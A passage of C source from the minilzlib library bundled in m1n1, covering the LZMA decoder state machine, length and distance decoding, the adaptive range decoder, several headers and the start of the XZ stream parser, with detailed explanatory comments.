LENGTH_DECODER_STATE, * PLENGTH_DECODER_STATE; // // State used for LZMA decoding // typedef struct _DECODER_STATE { // // Current type of sequence last decoded // LZMA_SEQUENCE_STATE Sequence; // // History of last 4 decoded distances // uint32_t Rep0; uint32_t Rep1; uint32_t Rep2; uint32_t Rep3; // // Pending length to repeat from dictionary // uint32_t Len; // // Probability Bit Models for all sequence types // union { struct { // // Literal model // uint16_t Literal[LZMA_LITERAL_CODERS][LZMA_LC_MODEL_SIZE]; // // Last-used-distance based models // uint16_t Rep[LzmaMaxState]; uint16_t Rep0[LzmaMaxState]; uint16_t Rep0Long[LzmaMaxState][LZMA_POSITION_COUNT]; uint16_t Rep1[LzmaMaxState]; uint16_t Rep2[LzmaMaxState]; LENGTH_DECODER_STATE RepLen; // // Explicit distance match based models // uint16_t Match[LzmaMaxState][LZMA_POSITION_COUNT]; uint16_t DistSlot[LZMA_FIRST_CONTEXT_DISTANCE_SLOT][LZMA_DISTANCE_SLOTS]; uint16_t Dist[(1 << 7) - LZMA_FIRST_FIXED_DISTANCE_SLOT]; uint16_t Align[LZMA_DISTANCE_ALIGN_SLOTS]; LENGTH_DECODER_STATE MatchLen; } BitModel; uint16_t RawProbabilities[LZMA_BIT_MODEL_SLOTS]; } u; } DECODER_STATE, *PDECODER_STATE; DECODER_STATE Decoder; // // LZMA decoding uses 3 "properties" which determine how the probability // bit model will be laid out. These store the number of bits that are used // to pick the correct Literal Coder ("lc"), the number of Position bits to // select the Literal coder ("lp"), and the number of Position Bits used to // select various lengths ("pb"). In LZMA2, these properties are encoded in // a single byte with the formula: ((pb * 45) + lp * 9) + lc). // // We only support the default {lc = 3, lp = 0, pb = 2} properties, which // are what the main encoders out there use. This means that a total of 2 // bits will be used for arithmetic-coded bit trees that are dependent on // the current position, and that a total of 3 bits will be used when we // pick the arithmetic-coded bit tree used for literal coding. The 0 means // this selection will _not_ be dependent on the position in the buffer. // const uint8_t k_LzSupportedProperties = (LZMA_PB * 45) + (LZMA_LP * 9) + (LZMA_LC); void LzSetLiteral ( PLZMA_SEQUENCE_STATE State ) { if (*State <= LzmaLitShortrepLitLitState) { // // States 0-3 represent packets with at least 2 back-to-back literals, // so another literal now takes us to state 0 (3 back-to-back literals) // *State = LzmaLitLitLitState; } else if (*State <= LzmaLitShortrepState) { // // States 4-6 represent packets with a literal at the end, so seeing // another literal now takes us to 2 back-to-back literals, which are // state packets 1-3. // // States 7-9 represent packets with a literal at the start, followed // by a match/rep/shortrep. Seeing another literal now drops this first // literal and takes us to having a literal at the end, which are state // packets 4-6 that we just described in the paragraph above. // *State = (LZMA_SEQUENCE_STATE)(*State - 3); } else { // // Finally, state 10 and 11 represent cases without a single literal in // the last 2 sequence packets, so seeing a literal now takes us to a // "literal at the end" state, either following a match or a rep. // *State = (LZMA_SEQUENCE_STATE)(*State - 6); } } bool LzIsLiteral ( LZMA_SEQUENCE_STATE State ) { // // States 0-6 describe literal packet sequences // return State < LzmaMaxLitState; } void LzSetMatch ( PLZMA_SEQUENCE_STATE State ) { // // Move to the appropriate "match" state based on current literal state // *State = LzIsLiteral(*State) ? LzmaLitMatchState : LzmaNonlitMatchState; } void LzSetLongRep ( PLZMA_SEQUENCE_STATE State ) { // // Move to the appropriate "long rep" state based on current literal state // *State = LzIsLiteral(*State) ? LzmaLitRepState : LzmaNonlitRepState; } void LzSetShortRep ( PLZMA_SEQUENCE_STATE State ) { // // Move to the appropriate "short rep" state based on current literal state // *State = LzIsLiteral(*State) ? LzmaLitShortrepState : LzmaNonlitRepState; } uint16_t* LzGetLiteralSlot ( void ) { uint8_t symbol; // // To pick the correct literal coder arithmetic-coded bit tree, LZMA uses // the "lc" parameter to choose the number of high bits from the previous // symbol (in the normal case, 3). It then combines that with the "lp" // parameter to choose the number of low bits from the current position in // the dictionary. However, since "lp" is normally 0, we can omit this. // symbol = DtGetSymbol(1); return Decoder.u.BitModel.Literal[symbol >> (8 - LZMA_LC)]; } uint16_t* LzGetDistSlot ( void ) { uint8_t slotIndex; // // There are 4 different arithmetic-coded bit trees which are used to pick // the correct "distance slot" when doing match distance decoding. Each of // them is used based on the length of the symbol that is being repeated. // For lengths of 2, 3, 4 bytes, a dedicated set of distance slots is used. // For lengths of 5 bytes or above, a shared set of distance slots is used. // if (Decoder.Len < (LZMA_FIRST_CONTEXT_DISTANCE_SLOT + LZMA_MIN_LENGTH)) { slotIndex = (uint8_t)(Decoder.Len - LZMA_MIN_LENGTH); } else { slotIndex = LZMA_FIRST_CONTEXT_DISTANCE_SLOT - 1; } return Decoder.u.BitModel.DistSlot[slotIndex]; } void LzDecodeLiteral ( void ) { uint16_t* probArray; uint8_t symbol, matchByte; // // First, choose the correct arithmetic-coded bit tree (which is based on // the last symbol we just decoded), then see if we last decoded a literal. // // If so, simply get the symbol from the bit tree as normal. However, if // we didn't last see a literal, we need to read the "match byte" that is // "n" bytes away from the last decoded match. We previously stored this in // rep0. // // Based on this match byte, we'll then use 2 other potential bit trees, // see LzDecodeMatched for more information. // probArray = LzGetLiteralSlot(); if (LzIsLiteral(Decoder.Sequence)) { symbol = RcGetBitTree(probArray, (1 << 8)); } else { matchByte = DtGetSymbol(Decoder.Rep0 + 1); symbol = RcDecodeMatchedBitTree(probArray, matchByte); } // // Write the symbol and indicate that the last sequence was a literal // DtPutSymbol(symbol); LzSetLiteral(&Decoder.Sequence); } void LzDecodeLen ( PLENGTH_DECODER_STATE LenState, uint8_t PosBit ) { uint16_t* probArray; uint16_t limit; // // Lengths of 2 and higher are encoded in 3 possible types of arithmetic- // coded bit trees, depending on the size of the length. // // Lengths 2-9 are encoded in trees called "Low" using 3 bits of data. // Lengths 10-17 are encoded in trees called "Mid" using 3 bits of data. // Lengths 18-273 are encoded in a tree called "high" using 8 bits of data. // // The appropriate "Low" or "Mid" tree is selected based on the bottom 2 // position bits (0-3) (in the LZMA standard, this is based on the "pb", // while the "High" tree is shared for all positions. // // Two arithmetic-coded bit trees, called "Choice" and "Choice2" tell us // the type of Length, so we can choose the right tree. {0, n} tells us // to use the Low trees, while {1, 0} tells us to use the Mid trees. Lastly // {1, 1} tells us to use the High tree. // Decoder.Len = LZMA_MIN_LENGTH; if (RcIsBitSet(&LenState->Choice)) { if (RcIsBitSet(&LenState->Choice2)) { probArray = LenState->High; limit = LZMA_MAX_HIGH_LENGTH; Decoder.Len += LZMA_MAX_LOW_LENGTH + LZMA_MAX_MID_LENGTH; } else { probArray = LenState->Mid[PosBit]; limit = LZMA_MAX_MID_LENGTH; Decoder.Len += LZMA_MAX_LOW_LENGTH; } } else { probArray = LenState->Low[PosBit]; limit = LZMA_MAX_LOW_LENGTH; } Decoder.Len += RcGetBitTree(probArray, limit); } void LzDecodeMatch ( uint8_t PosBit ) { uint16_t* probArray; uint8_t distSlot, distBits; // // Decode the length component of the "match" sequence. Then, since we're // about to decode a new distance, update our history by one level. // LzDecodeLen(&Decoder.u.BitModel.MatchLen, PosBit); Decoder.Rep3 = Decoder.Rep2; Decoder.Rep2 = Decoder.Rep1; Decoder.Rep1 = Decoder.Rep0; // // Read the first 6 bits, which make up the "distance slot" // probArray = LzGetDistSlot(); distSlot = RcGetBitTree(probArray, LZMA_DISTANCE_SLOTS); if (distSlot < LZMA_FIRST_CONTEXT_DISTANCE_SLOT) { // // Slots 0-3 directly encode the distance as a literal number // Decoder.Rep0 = distSlot; } else { // // For slots 4-13, figure out how many "context encoded bits" are used // to encode this distance. The math works out such that slots 4-5 use // 1 bit, 6-7 use 2 bits, 8-9 use 3 bits, and so on and so forth until // slots 12-13 which use 5 bits. // // This gives us anywhere from 1-5 bits, plus the two upper bits which // can either be 0b10 or 0b11 (based on the bottom bit of the distance // slot). Thus, with the context encoded bits, we can represent lengths // anywhere from 0b10[0] to 0b11[11111] (i.e.: 4-127). // // For slots 14-63, we use "fixed 50% probability bits" which are also // called "direct bits". The formula below also tells us how many such // direct bits to use in this scenario. In other words, distBits can // either be the number of "context encoded bits" for slots 4-13, or it // can be the number of "direct bits" for slots 14-63. This gives // us a range of of 2 to 26 bits, which are then used as middle bits. // Finally, the last 4 bits are called the "align" bits. The smallest // possible number we can encode is now going to be 0b10[00][0000] and // the highest is 0b11[1111111111111111111111111][1111], in other words // 128 to (2^31)-1. // distBits = (distSlot >> 1) - 1; Decoder.Rep0 = (0b10 | (distSlot & 1)) << distBits; // // Slots 4-13 have their own arithmetic-coded reverse bit trees. Slots // 14-63 encode the middle "direct bits" with fixed 50% probability and // the bottom 4 "align bits" with a shared arithmetic-coded reverse bit // tree. // if (distSlot < LZMA_FIRST_FIXED_DISTANCE_SLOT) { probArray = &Decoder.u.BitModel.Dist[Decoder.Rep0 - distSlot]; } else { Decoder.Rep0 |= RcGetFixed(distBits - LZMA_DISTANCE_ALIGN_BITS) << LZMA_DISTANCE_ALIGN_BITS; distBits = LZMA_DISTANCE_ALIGN_BITS; probArray = Decoder.u.BitModel.Align; } Decoder.Rep0 |= RcGetReverseBitTree(probArray, distBits); } // // Indicate that the last sequence was a "match" // LzSetMatch(&Decoder.Sequence); } void LzDecodeRepLen ( uint8_t PosBit, bool IsLongRep ) { // // Decode the length byte and indicate the last sequence was a "rep". // If this is a short rep, then the length is always hard-coded to 1. // if (IsLongRep) { LzDecodeLen(&Decoder.u.BitModel.RepLen, PosBit); LzSetLongRep(&Decoder.Sequence); } else { Decoder.Len = 1; LzSetShortRep(&Decoder.Sequence); } } void LzDecodeRep0( uint8_t PosBit ) { uint8_t bit; // // This could be a "short rep" with a length of 1, or a "long rep0" with // a length that we have to decode. The next bit tells us this, using the // arithmetic-coded bit trees stored in "Rep0Long", with 1 tree for each // position bit (0-3). // bit = RcIsBitSet(&Decoder.u.BitModel.Rep0Long[Decoder.Sequence][PosBit]); LzDecodeRepLen(PosBit, bit); } void LzDecodeLongRep ( uint8_t PosBit ) { uint32_t newRep; // // Read the next 2 bits to figure out which of the recently used distances // we should use for this match. The following three states are possible : // // {0,n} - "Long rep1", where the length is stored in an arithmetic-coded // bit tree, and the distance is the 2nd most recently used distance (Rep1) // // {1,0} - "Long rep2", where the length is stored in an arithmetic-coded // bit tree, and the distance is the 3rd most recently used distance (Rep2) // // {1,1} - "Long rep3", where the length is stored in an arithmetic-coded // bit tree, and the distance is the 4th most recently used distance (Rep3) // // Once we have the right one, we must slide down each previously recently // used distance, so that the distance we're now using (Rep1, Rep2 or Rep3) // becomes "Rep0" again. // if (RcIsBitSet(&Decoder.u.BitModel.Rep1[Decoder.Sequence])) { if (RcIsBitSet(&Decoder.u.BitModel.Rep2[Decoder.Sequence])) { newRep = Decoder.Rep3; Decoder.Rep3 = Decoder.Rep2; } else { newRep = Decoder.Rep2; } Decoder.Rep2 = Decoder.Rep1; } else { newRep = Decoder.Rep1; } Decoder.Rep1 = Decoder.Rep0; Decoder.Rep0 = newRep; LzDecodeRepLen(PosBit, true); } void LzDecodeRep ( uint8_t PosBit ) { // // We know this is an LZ77 distance-length pair where the distance is based // on a history of up to 4 previously used distance (Rep0-3). To know which // distance to use, the following 5 bit positions are possible (keeping in // mind that we've already decoded the first 2 bits {1,1} in LzDecode which // got us here in the first place): // // {0,0} - "Short rep", where the length is always 1 and distance is always // the most recently used distance (Rep0). // // {0,1} - "Long rep0", where the length is stored in an arithmetic-coded // bit tree, and the distance is the most recently used distance (Rep0). // // Because both of these possibilities just use Rep0, LzDecodeRep0 handles // these two cases. Otherwise, we use LzDecodeLongRep to read up to two // additional bits to figure out which recently used distance (1, 2, or 3) // to use. // if (RcIsBitSet(&Decoder.u.BitModel.Rep0[Decoder.Sequence])) { LzDecodeLongRep(PosBit); } else { LzDecodeRep0(PosBit); } } bool LzDecode ( void ) { uint32_t position; uint8_t posBit; // // Get the current position in dictionary, making sure we have input bytes. // Once we run out of bytes, normalize the last arithmetic coded byte and // ensure there's no pending lengths that we haven't yet repeated. // while (DtCanWrite(&position) && RcCanRead()) { // // An LZMA packet begins here, which can have 3 possible initial bit // sequences that correspond to the type of encoding that was chosen // to represent the next stream of symbols. // // {0, n} represents a "literal", which LzDecodeLiteral decodes. // Literals are a single byte encoded with arithmetic-coded bit trees // // {1, 0} represents a "match", which LzDecodeMatch decodes. // Matches are typical LZ77 sequences with explicit length and distance // // {1, 1} represents a "rep", which LzDecodeRep decodes. // Reps are LZ77 sequences where the distance is encoded as a reference // to a previously used distance (up to 4 -- called "Rep0-3"). // // Once we've decoded either the "match" or the "rep', we now have the // distance in "Rep0" (the most recently used distance) and the length // in "Len", so we will use DtRepeatSymbol to go back in the dictionary // buffer "Rep0" bytes and repeat that character "Len" times. // posBit = position & (LZMA_POSITION_COUNT - 1); if (RcIsBitSet(&Decoder.u.BitModel.Match[Decoder.Sequence][posBit])) { if (RcIsBitSet(&Decoder.u.BitModel.Rep[Decoder.Sequence])) { LzDecodeRep(posBit); } else { LzDecodeMatch(posBit); } if (!DtRepeatSymbol(Decoder.Len, Decoder.Rep0 + 1)) { return false; } Decoder.Len = 0; } else { LzDecodeLiteral(); } } RcNormalize(); return (Decoder.Len == 0); } void LzResetState ( void ) { // // Initialize decoder to default state in case we're called more than once. // The LZMA "Bit Model" is an adaptive arithmetic-coded probability-based // bit tree which encodes either a "0" or a "1". // Decoder.Sequence = LzmaLitLitLitState; Decoder.Rep0 = Decoder.Rep1 = Decoder.Rep2 = Decoder.Rep3 = 0; static_assert((LZMA_BIT_MODEL_SLOTS * 2) == sizeof(Decoder.u.BitModel), "Invalid size"); for (int i = 0; i < LZMA_BIT_MODEL_SLOTS; i++) { RcSetDefaultProbability(&Decoder.u.RawProbabilities[i]); } } bool LzInitialize ( uint8_t Properties ) { if (Properties != k_LzSupportedProperties) { return false; } LzResetState(); return true; } m1n1-1.4.11/src/minilzlib/lzmadec.h000066400000000000000000000066161453754430200167420ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: lzmadec.h Abstract: This header file contains C-style definitions, constants, and enumerations that map back to the LZMA Standard, specifically the probability model that is used for encoding probabilities. Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #pragma once // // Literals can be 0-255 and are encoded in 3 different types of slots based on // the previous literal decoded and the "match byte" used. // #define LZMA_LITERALS 256 #define LZMA_LC_TYPES 3 #define LZMA_LC_MODEL_SIZE (LZMA_LC_TYPES * LZMA_LITERALS) // // These are the hardcoded LZMA properties we support for position and coders // #define LZMA_LC 3 #define LZMA_PB 2 #define LZMA_LP 0 #define LZMA_LITERAL_CODERS (1 << LZMA_LC) #define LZMA_POSITION_COUNT (1 << LZMA_PB) // // Lengths are described in three different ways using "low", "mid", and "high" // bit trees. The first two trees encode 3 bits, the last encodes 8. We never // encode a length less than 2 bytes, since that's wasteful. // #define LZMA_MAX_LOW_LENGTH (1 << 3) #define LZMA_MAX_MID_LENGTH (1 << 3) #define LZMA_MAX_HIGH_LENGTH (1 << 8) #define LZMA_MIN_LENGTH 2 // // Distances can be encoded in different ways, based on the distance slot. // Lengths of 2, 3, 4 bytes are directly encoded with their own slot. Lengths // over 5 share a slot, which is then further subdivided into 3 different ways // of encoding them, which are described in the source. // #define LZMA_DISTANCE_SLOTS 64 #define LZMA_FIRST_CONTEXT_DISTANCE_SLOT 4 #define LZMA_FIRST_FIXED_DISTANCE_SLOT 14 #define LZMA_DISTANCE_ALIGN_BITS 4 #define LZMA_DISTANCE_ALIGN_SLOTS (1 << LZMA_DISTANCE_ALIGN_BITS) // // Total number of probabilities that we need to store // #define LZMA_BIT_MODEL_SLOTS (1174 + \ (LZMA_LITERAL_CODERS * \ LZMA_LC_MODEL_SIZE)) // // The LZMA probability bit model is typically based on the last LZMA sequences // that were decoded. There are 11 such possibilities that are tracked. // typedef enum _LZMA_SEQUENCE_STATE { // // State where we last saw three literals // LzmaLitLitLitState, // // States where we last saw two literals preceded by a non-literal // LzmaMatchLitLitState, LzmaRepLitLitState, LzmaLitShortrepLitLitState, // // States where we last saw one literal preceded by a non-literal // LzmaMatchLitState, LzmaRepLitState, LzmaLitShortrepLitState, // // Separator between states where we last saw at least one literal // LzmaMaxLitState, // // States where we last saw a non-literal preceded by a literal // LzmaLitMatchState = 7, LzmaLitRepState, LzmaLitShortrepState, // // States where we last saw two non-literals // LzmaNonlitMatchState, LzmaNonlitRepState, // // Separator for number of total states // LzmaMaxState } LZMA_SEQUENCE_STATE, * PLZMA_SEQUENCE_STATE; m1n1-1.4.11/src/minilzlib/minlzlib.h000066400000000000000000000041061453754430200171330ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: minlzlib.h Abstract: This header file is the main include for the minlz library. It contains the internal function definitions for the history \& input buffers, the LZMA and LZMA2 decoders, and the arithmetic (de)coder. Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #pragma once // // C Standard Headers // #include #include #include #include // // Input Buffer Management // bool BfRead(uint8_t* Byte); bool BfSeek(uint32_t Length, uint8_t** Bytes); uint32_t BfTell(void); bool BfAlign(void); void BfInitialize(uint8_t* InputBuffer, uint32_t InputSize); bool BfSetSoftLimit(uint32_t Remaining); void BfResetSoftLimit(void); // // Dictionary (History Buffer) Management // bool DtRepeatSymbol(uint32_t Length, uint32_t Distance); void DtInitialize(uint8_t* HistoryBuffer, uint32_t Position); bool DtSetLimit(uint32_t Limit); void DtPutSymbol(uint8_t Symbol); uint8_t DtGetSymbol(uint32_t Distance); bool DtCanWrite(uint32_t* Position); bool DtIsComplete(uint32_t* BytesProcessed); // // Range Decoder // uint8_t RcGetBitTree(uint16_t* BitModel, uint16_t Limit); uint8_t RcGetReverseBitTree(uint16_t* BitModel, uint8_t HighestBit); uint8_t RcDecodeMatchedBitTree(uint16_t* BitModel, uint8_t MatchByte); uint32_t RcGetFixed(uint8_t HighestBit); bool RcInitialize(uint16_t* ChunkSize); uint8_t RcIsBitSet(uint16_t* Probability); void RcNormalize(void); bool RcCanRead(void); bool RcIsComplete(uint32_t* Offset); void RcSetDefaultProbability(uint16_t* Probability); // // LZMA Decoder // bool LzDecode(void); bool LzInitialize(uint8_t Properties); void LzResetState(void); // // LZMA2 Decoder // bool Lz2DecodeStream(uint32_t* BytesProcessed, bool GetSizeOnly); #ifdef MINLZ_INTEGRITY_CHECKS // // Checksum Management // uint32_t OsComputeCrc32(uint32_t Initial, const uint8_t* Data, uint32_t Length); #define Crc32(Buffer, Length) OsComputeCrc32(0, (const uint8_t*)Buffer, Length) #endif m1n1-1.4.11/src/minilzlib/minlzma.h000066400000000000000000000026521453754430200167660ustar00rootroot00000000000000#pragma once #include /*! * @brief Decompresses an XZ stream from InputBuffer into OutputBuffer. * * @detail The XZ stream must contain a single block with an LZMA2 filter * and no BJC2 filters, using default LZMA properties, and using * either CRC32 or None as the checksum type. * * @param[in] InputBuffer - A fully formed buffer containing the XZ stream. * @param[in,out] InputSize - The size of the input buffer. On output, the size * consumed from the input buffer. * @param[in] OutputBuffer - A fully allocated buffer to receive the output. * Callers can pass in NULL if they do not intend to decompress, * in combination with setting OutputSize to 0, in order to query * the final expected size of the decompressed buffer. * @param[in,out] OutputSize - On input, the size of the buffer. On output, the * size of the decompressed result. * * @return true - The input buffer was fully decompressed in OutputBuffer, * or no decompression was requested, the size of the decompressed * buffer was returned in OutputSIze. * false - A failure occurred during the decompression process. */ bool XzDecode ( uint8_t* InputBuffer, uint32_t* InputSize, uint8_t* OutputBuffer, uint32_t* OutputSize ); m1n1-1.4.11/src/minilzlib/rangedec.c000066400000000000000000000254771453754430200170740ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: rangedec.c Abstract: This module implements the Range Decoder, which is how LZMA describes the arithmetic coder that it uses to represent the binary representation of the LZ77 match length-distance pairs after the initial compression pass. At the implementation level, this coder works with an alphabet of only 2 symbols: the bit "0", and the bit "1", so there are only ever two probability ranges that need to be checked each pass. In LZMA, a probability of 100% encodes a "0", while 0% encodes a "1". Initially, all probabilities are assumed to be 50%. Probabilities are stored using 11-bits (2048 \=\= 100%), and thus use 16 bits of storage. Finally, the range decoder is adaptive, meaning that each time a bit is decoded, the probabilities are updated: each 0 increases the probability of another 0, and each 1 decrases it. The algorithm adapts the probabilities using an exponential moving average with a shift ratio of 5. Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #include "minlzlib.h" // // The range decoder uses 11 probability bits, where 2048 is 100% chance of a 0 // #define LZMA_RC_PROBABILITY_BITS 11 #define LZMA_RC_MAX_PROBABILITY (1 << LZMA_RC_PROBABILITY_BITS) const uint16_t k_LzmaRcHalfProbability = LZMA_RC_MAX_PROBABILITY / 2; // // The range decoder uses an exponential moving average of the last probability // hit (match or miss) with an adaptation rate of 5 bits (which falls in the // middle of its 11 bits used to encode a probability. // #define LZMA_RC_ADAPTATION_RATE_SHIFT 5 // // The range decoder has enough precision for the range only as long as the top // 8 bits are still set. Once it falls below, it needs a renormalization step. // #define LZMA_RC_MIN_RANGE (1 << 24) // // The range decoder must be initialized with 5 bytes, the first of which is // ignored // #define LZMA_RC_INIT_BYTES 5 // // State used for the binary adaptive arithmetic coder (LZMA Range Decoder) // typedef struct _RANGE_DECODER_STATE { // // Start and end location of the current stream's range encoder buffer // uint8_t* Start; uint8_t* Limit; // // Current probability range and 32-bit arithmetic encoded sequence code // uint32_t Range; uint32_t Code; } RANGE_DECODER_STATE, *PRANGE_DECODER_STATE; RANGE_DECODER_STATE RcState; bool RcInitialize ( uint16_t* ChunkSize ) { uint8_t i, rcByte; uint8_t* chunkEnd; // // Make sure that the input buffer has enough space for the requirements of // the range encoder. We (temporarily) seek forward to validate this. // if (!BfSeek(*ChunkSize, &chunkEnd)) { return false; } BfSeek(-*ChunkSize, &chunkEnd); // // The initial probability range is set to its highest value, after which // the next 5 bytes are used to initialize the initial code. Note that the // first byte outputted by the encoder is always going to be zero, so it is // ignored here. // RcState.Range = (uint32_t)-1; RcState.Code = 0; for (i = 0; i < LZMA_RC_INIT_BYTES; i++) { BfRead(&rcByte); RcState.Code = (RcState.Code << 8) | rcByte; } // // Store our current location in the buffer now, and how far we can go on // reading. Then decrease the total chunk size by the count of init bytes, // so that the caller can check, once done (RcIsComplete), if the code has // become 0 exactly when the compressed chunk size has been fully consumed // by the decoder. // BfSeek(0, &RcState.Start); RcState.Limit = RcState.Start + *ChunkSize; *ChunkSize -= LZMA_RC_INIT_BYTES; return true; } bool RcCanRead ( void ) { uint8_t* pos; // // We can keep reading symbols as long as we haven't reached the end of the // input buffer yet. // BfSeek(0, &pos); return pos <= RcState.Limit; } bool RcIsComplete ( uint32_t* BytesProcessed ) { uint8_t* pos; // // When the last symbol has been decoded, the last code should be zero as // there is nothing left to describe. Return the offset in the buffer where // this occurred (which should be equal to the compressed size). // BfSeek(0, &pos); *BytesProcessed = (uint32_t)(pos - RcState.Start); return (RcState.Code == 0); } void RcNormalize ( void ) { uint8_t rcByte; // // Whenever we drop below 24 bits, there is no longer enough precision in // the probability range not to avoid a "stuck" state where we cannot tell // apart the two branches (above/below the probability range) because the // two options appear identical with the number of precision bits that we // have. In this case, shift the state by a byte (8 bits) and read another. // if (RcState.Range < LZMA_RC_MIN_RANGE) { RcState.Range <<= 8; RcState.Code <<= 8; BfRead(&rcByte); RcState.Code |= rcByte; } } void RcAdapt ( bool Miss, uint16_t* Probability ) { // // In the canonical range encoders out there (including this one used by // LZMA, we want the probability to adapt (change) as we read more or less // bits that match our expectation. In order to quickly adapt to change, // use an exponential moving average. The standard way of doing this is to // use an integer based adaptation with a shift that's somewhere between // {1, bits-1}. Since LZMA uses 11 bits for its model, 5 is a nice number // that lands exactly between 1 and 10. // if (Miss) { *Probability -= *Probability >> LZMA_RC_ADAPTATION_RATE_SHIFT; } else { *Probability += (LZMA_RC_MAX_PROBABILITY - *Probability) >> LZMA_RC_ADAPTATION_RATE_SHIFT; } } uint8_t RcIsBitSet ( uint16_t* Probability ) { uint32_t bound; uint8_t bit; // // Always begin by making sure the range has been normalized for precision // RcNormalize(); // // Check if the current arithmetic code is descried by the next calculated // proportionally-divided probability range. Recall that the probabilities // encode the chance of the symbol (bit) being a 0 -- not a 1! // // Therefore, if the next chunk of the code lies outside of this new range, // we are still on the path to our 0. Otherwise, if the code is now part of // the newly defined range (inclusive), then we produce a 1 and limit the // range to produce a new range and code for the next decoding pass. // bound = (RcState.Range >> LZMA_RC_PROBABILITY_BITS) * *Probability; if (RcState.Code < bound) { RcState.Range = bound; bit = 0; } else { RcState.Range -= bound; RcState.Code -= bound; bit = 1; } // // Always finish by adapt the probabilities based on the bit value // RcAdapt(bit, Probability); return bit; } uint8_t RcIsFixedBitSet( void ) { uint8_t bit; // // This is a specialized version of RcIsBitSet with two differences: // // First, there is no adaptive probability -- it is hardcoded to 50%. // // Second, because there are 11 bits per probability, and 50% is 1<<10, // "(LZMA_RC_PROBABILITY_BITS) * Probability" is essentially 1. As such, // we can just shift by 1 (in other words, halving the range). // RcNormalize(); RcState.Range >>= 1; if (RcState.Code < RcState.Range) { bit = 0; } else { RcState.Code -= RcState.Range; bit = 1; } return bit; } uint8_t RcGetBitTree ( uint16_t* BitModel, uint16_t Limit ) { uint16_t symbol; // // Context probability bit trees always begin at index 1. Iterate over each // decoded bit and just keep shifting it in place, until we reach the total // expected number of bits, which should never be over 8 (limit is 0x100). // // Once decoded, always subtract the limit back from the symbol since we go // one bit "past" the limit in the loop, as a side effect of the tree being // off-by-one. // for (symbol = 1; symbol < Limit; ) { symbol = (symbol << 1) | RcIsBitSet(&BitModel[symbol]); } return (symbol - Limit) & 0xFF; } uint8_t RcGetReverseBitTree ( uint16_t* BitModel, uint8_t HighestBit ) { uint16_t symbol; uint8_t i, bit, result; // // This is the same logic as in RcGetBitTree, but with the bits actually // encoded in reverse order. We keep track of the probability index as the // "symbol" just like RcGetBitTree, but actually decode the result in the // opposite order. // for (i = 0, symbol = 1, result = 0; i < HighestBit; i++) { bit = RcIsBitSet(&BitModel[symbol]); symbol = (symbol << 1) | bit; result |= bit << i; } return result; } uint8_t RcDecodeMatchedBitTree ( uint16_t* BitModel, uint8_t MatchByte ) { uint16_t symbol, bytePos, matchBit; uint8_t bit; // // Parse each bit in the "match byte" (see LzDecodeLiteral), which we call // a "match bit". // // Then, treat this as a special bit tree decoding where two possible trees // are used: one for when the "match bit" is set, and a separate one for // when the "match bit" is not set. Since each tree can encode up to 256 // symbols, each one has 0x100 slots. // // Finally, we have the original bit tree which we'll revert back to once // the match bits are no longer in play, which we parse for the remainder // of the symbol. // for (bytePos = MatchByte, symbol = 1; symbol < 0x100; bytePos <<= 1) { matchBit = (bytePos >> 7) & 1; bit = RcIsBitSet(&BitModel[symbol + (0x100 * (matchBit + 1))]); symbol = (symbol << 1) | bit; if (matchBit != bit) { while (symbol < 0x100) { symbol = (symbol << 1) | RcIsBitSet(&BitModel[symbol]); } break; } } return symbol & 0xFF; } uint32_t RcGetFixed ( uint8_t HighestBit ) { uint32_t symbol; // // Fixed probability bit trees always begin at index 0. Iterate over each // decoded bit and just keep shifting it in place, until we reach the total // expected number of bits (typically never higher than 26 -- the maximum // number of "direct bits" that the distance of a "match" can encode). // symbol = 0; do { symbol = (symbol << 1) | RcIsFixedBitSet(); } while (--HighestBit > 0); return symbol; } void RcSetDefaultProbability ( uint16_t* Probability ) { // // By default, we initialize the probabilities to 0.5 (50% chance). // *Probability = k_LzmaRcHalfProbability; } m1n1-1.4.11/src/minilzlib/xzstream.c000066400000000000000000000313351453754430200171670ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: xzstream.c Abstract: This module implements the XZ stream format decoding, including support for parsing the stream header and block header, and then handing off the block decoding to the LZMA2 decoder. Finally, if "meta checking" is enabled, then the index and stream footer are also parsed and validated. Optionally, each of these component structures can be checked against its CRC32 checksum, if "integrity checking" has been enabled. Note that this library only supports single-stream, single-block XZ files that have CRC32 (or None) set as their block checking algorithm. Finally, no BJC filters are supported, and files with a compressed/uncompressed size metadata indicator are not handled. Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #define MINLZ_META_CHECKS #include "minlzlib.h" #include "xzstream.h" #include "../utils.h" // // XzDecodeBlockHeader can return "I successfully found a block", // "I failed/bad block header", or "there was no block header". // Though minlzlib explicitly only claims to handle files with a // single block, it needs to also handle files with no blocks at all. // (Produced by "xz" when compressing an empty input file) // typedef enum _XZ_DECODE_BLOCK_HEADER_RESULT { XzBlockHeaderFail = 0, XzBlockHeaderSuccess = 1, XzBlockHeaderNoBlock = 2 } XZ_DECODE_BLOCK_HEADER_RESULT; const uint8_t k_XzLzma2FilterIdentifier = 0x21; #ifdef _WIN32 void __security_check_cookie(_In_ uintptr_t _StackCookie) { (void)(_StackCookie); } #endif #ifdef MINLZ_META_CHECKS // // XZ Stream Container State // typedef struct _CONTAINER_STATE { // // Size of the XZ header and the index, used to validate against footer // uint32_t HeaderSize; uint32_t IndexSize; // // Size of the compressed block and its checksum // uint32_t UncompressedBlockSize; uint32_t UnpaddedBlockSize; uint32_t ChecksumSize; } CONTAINER_STATE, * PCONTAINER_STATE; CONTAINER_STATE Container; #endif #ifdef MINLZ_META_CHECKS bool XzDecodeVli ( vli_type* Vli ) { uint8_t vliByte; uint32_t bitPos; // // Read the initial VLI byte (might be the value itself) // if (!BfRead(&vliByte)) { return false; } *Vli = vliByte & 0x7F; // // Check if this was a complex VLI (and we have space for it) // bitPos = 7; while ((vliByte & 0x80) != 0) { // // Read the next byte // if (!BfRead(&vliByte)) { return false; } // // Make sure we're not decoding an invalid VLI // if ((bitPos == (7 * VLI_BYTES_MAX)) 